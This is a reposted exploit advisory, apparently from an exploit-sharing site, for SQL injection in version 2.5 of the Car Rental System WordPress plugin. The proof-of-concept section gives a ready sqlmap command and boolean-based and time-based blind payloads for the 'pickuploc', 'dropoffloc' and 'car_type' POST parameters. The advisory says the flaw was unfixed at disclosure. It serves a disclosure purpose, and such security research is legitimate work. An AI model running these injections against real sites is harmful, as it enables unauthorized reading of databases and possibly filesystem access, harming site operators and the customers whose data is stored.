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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Car Rental System v2.5
# Date: 28/03/2017
# Exploit Author: TAD GROUP
# Vendor Homepage: https://www.bestsoftinc.com/
# Software Link: https://www.bestsoftinc.com/car-rental-system.html
# Version: 2.5
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits

1. Description

An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.

2. Proof of concept

sqlmap -u "http://server/wp-car/" —data="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent

Parameter: pickuploc (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=

The same is applicable for 'dropoffloc' and 'car_type' parameters


3. Attack outcome:

An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access to the filesystem may be possible.

4. Impact

Critical

5. Affected versions

<= 2.5

6. Disclosure timeline

13-Mar-2017 - found the vulnerability
13-Mar-2017 - informed the developer
28-Mar-2017 - release date of this security advisory

Not fixed at the date of submitting this exploit.